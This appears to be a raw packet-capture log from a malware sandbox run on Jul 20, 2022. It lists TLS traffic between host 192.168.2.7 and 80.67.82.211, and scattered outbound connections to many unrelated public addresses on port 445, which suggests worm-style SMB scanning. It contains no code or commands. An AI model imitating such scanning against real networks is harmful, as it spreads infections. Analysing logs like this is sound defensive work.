Jul 20, 2022 19:31:06.886740923 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.886814117 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.886826038 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.886847019 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.886893988 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.886904955 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.886986017 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.886997938 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887031078 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887070894 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.887079000 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887176991 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.887240887 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.887259960 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887298107 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887478113 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.887557030 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.887567043 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887586117 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887610912 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887674093 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.887682915 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887784958 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.887789011 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887813091 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887865067 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.887876034 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887953043 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.887972116 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.887990952 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888063908 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888075113 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888117075 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888127089 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888204098 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888215065 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888231993 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888235092 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888256073 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888267040 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888299942 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888326883 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888331890 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888344049 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888381958 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888391018 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888406038 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888436079 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888468027 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888555050 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888586044 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888663054 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888679028 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888691902 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888725996 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888753891 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888763905 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888772964 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888806105 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888832092 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888843060 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888859987 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888880014 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888885975 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888921022 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888932943 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888958931 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.888972998 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.888995886 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.889029026 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.896621943 CEST	50638	445	192.168.2.7	205.56.250.219
Jul 20, 2022 19:31:06.897448063 CEST	50639	445	192.168.2.7	5.66.138.155
Jul 20, 2022 19:31:06.898144960 CEST	50640	445	192.168.2.7	186.248.142.174
Jul 20, 2022 19:31:06.898950100 CEST	50641	445	192.168.2.7	65.173.134.21
Jul 20, 2022 19:31:06.899641991 CEST	50642	445	192.168.2.7	187.215.162.85
Jul 20, 2022 19:31:06.900337934 CEST	50643	445	192.168.2.7	100.19.88.113
Jul 20, 2022 19:31:06.901051044 CEST	50644	445	192.168.2.7	183.234.118.249
Jul 20, 2022 19:31:06.920497894 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.920577049 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.948493004 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.948565006 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.972516060 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.972661972 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.980511904 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.980581999 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.992413998 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.992444992 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.992492914 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.992512941 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.992692947 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.992710114 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.992733955 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.992804050 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.992815971 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.992927074 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.992938995 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.993007898 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.993076086 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.993413925 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.993427038 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.993443966 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.993465900 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.993478060 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.993621111 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.993973970 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.994558096 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.000510931 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.000549078 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042243004 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.042259932 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042274952 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042377949 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.042386055 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042399883 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042409897 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042457104 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.042464972 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042521954 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.042530060 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042562008 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.042567968 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042617083 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.042623997 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042673111 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.042680025 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042728901 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.042736053 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042747974 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042788029 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.042797089 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042856932 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.042860985 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042902946 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042910099 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.042923927 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.042979956 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.042994022 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.043037891 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.043047905 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.043061972 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.043102026 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.043111086 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.043164968 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.043174982 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.043215990 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.043220043 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.043263912 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.043299913 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044028997 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044035912 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044049978 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044056892 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044141054 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044198036 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044358969 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044364929 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044377089 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044388056 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044488907 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044495106 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044507027 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044553995 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044559002 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044619083 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044622898 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044689894 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044694901 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044711113 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044749975 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044754982 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044842005 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044847012 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044918060 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044922113 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044967890 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.044972897 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.044987917 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.045041084 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.045047998 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.045116901 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.045176983 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.045653105 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.045663118 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.045687914 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.045701981 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.045804024 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.045809984 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.045824051 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.045882940 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.045994997 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.046005964 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.046021938 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.046037912 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.046128035 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.046137094 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.046186924 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.046192884 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.046207905 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.046250105 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.046258926 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.046312094 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.046322107 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.046335936 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.046375036 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.046437025 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.047331095 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.047338963 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.047358036 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.047496080 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.047677994 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.047686100 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.047703028 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.047719002 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.047806025 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.047815084 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.047904015 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.047911882 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.047960997 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.047965050 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.047990084 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.048043966 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.048049927 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.048124075 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.048130989 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.048198938 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.048204899 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.048268080 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.048316002 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.054002047 CEST	50645	445	192.168.2.7	77.158.123.45
Jul 20, 2022 19:31:07.103899956 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.103921890 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.104106903 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.104119062 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.104187965 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.104471922 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.104495049 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.104512930 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.104523897 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.104613066 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.104676008 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.105309963 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.106013060 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.107275963 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.107297897 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.156503916 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.156570911 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.180507898 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.180588007 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.188509941 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.188679934 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.302329063 CEST	50646	445	192.168.2.7	213.232.78.170
Jul 20, 2022 19:31:07.459206104 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.459227085 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459239006 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459312916 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.459321976 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459417105 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.459424019 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459434986 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459538937 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.459544897 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459558010 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459568024 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459651947 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.459657907 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459697008 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.459701061 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459780931 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.459785938 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459799051 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459836960 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.459845066 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.459892988 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.459947109 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.460539103 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.462157965 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.462182045 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.592505932 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.592586994 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.624511957 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.624619007 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.646722078 CEST	50647	445	192.168.2.7	213.142.151.17
Jul 20, 2022 19:31:07.659612894 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.659637928 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.659657955 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.659729004 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.659738064 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.659749985 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.659836054 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.659843922 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.659857988 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.659882069 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.659888029 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.659953117 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.659962893 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.659977913 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.659997940 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.660003901 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660068989 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.660077095 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660093069 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660113096 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.660116911 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660186052 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.660195112 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660207033 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660218954 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660233021 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.660240889 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660290956 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.660303116 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660397053 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.660423040 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660435915 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.660453081 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660465002 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660564899 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.660583019 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660599947 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660711050 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.660721064 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660742044 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.660793066 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.660835981 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.662386894 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.662405968 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.662509918 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.662594080 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.662600994 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.662616968 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.662695885 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.662703037 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.662784100 CEST	50591	443	192.168.2.7	80.67.82.211
